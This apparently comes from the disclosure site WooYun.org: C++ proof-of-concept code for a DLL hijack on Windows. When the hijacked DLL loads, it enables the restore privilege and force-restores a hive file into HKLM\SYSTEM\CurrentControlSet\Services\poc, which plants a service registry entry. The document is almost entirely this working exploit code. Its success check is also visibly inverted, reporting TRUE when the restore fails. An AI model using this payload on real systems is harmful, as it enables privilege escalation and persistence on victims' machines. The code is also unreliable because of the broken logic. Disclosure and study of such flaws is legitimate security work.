WooYun.org

BOOL EnableDebugPriv(LPCTSTR lpName)
{
	BOOL bRet = FALSE;
	HANDLE hToken = NULL;
	TOKEN_PRIVILEGES tp;
	LUID luid;
	do
	{
		if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
			break;
		if(!LookupPrivilegeValue(NULL,lpName,&luid))
			break;
		tp.PrivilegeCount = 1;
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		tp.Privileges[0].Luid = luid;
		bRet = AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
	}
	while(FALSE);
	
	if(hToken != NULL)
		CloseHandle(hToken);
	return bRet;
}
BOOL RestoreReg(HKEY hKey,LPCWSTR lpSubKey,TCHAR szFilePath[MAX_PATH])
{
	BOOL bRet = FALSE;
	HKEY hCur = NULL;
	do
	{
		if(!EnableDebugPriv(SE_RESTORE_NAME))
			break;
		if(RegOpenKeyEx(hKey,lpSubKey,NULL,KEY_ALL_ACCESS,&hCur) != ERROR_SUCCESS &&
			RegCreateKey(hKey,lpSubKey,&hCur) != ERROR_SUCCESS)
			break;
		if(RegRestoreKey(hCur,szFilePath,REG_FORCE_RESTORE) != ERROR_SUCCESS)
			bRet = TRUE;
	}
	while(FALSE);
	if(hCur)
		RegCloseKey(hCur);
	return bRet;
}
BOOL CDllHijackApp::InitInstance()
{
	CWinApp::InitInstance();
	RestoreReg(HKEY_LOCAL_MACHINE,L"SYSTEM\\CurrentControlSet\\Services\\poc",L"C:\\poc.hiv");
	return TRUE;
}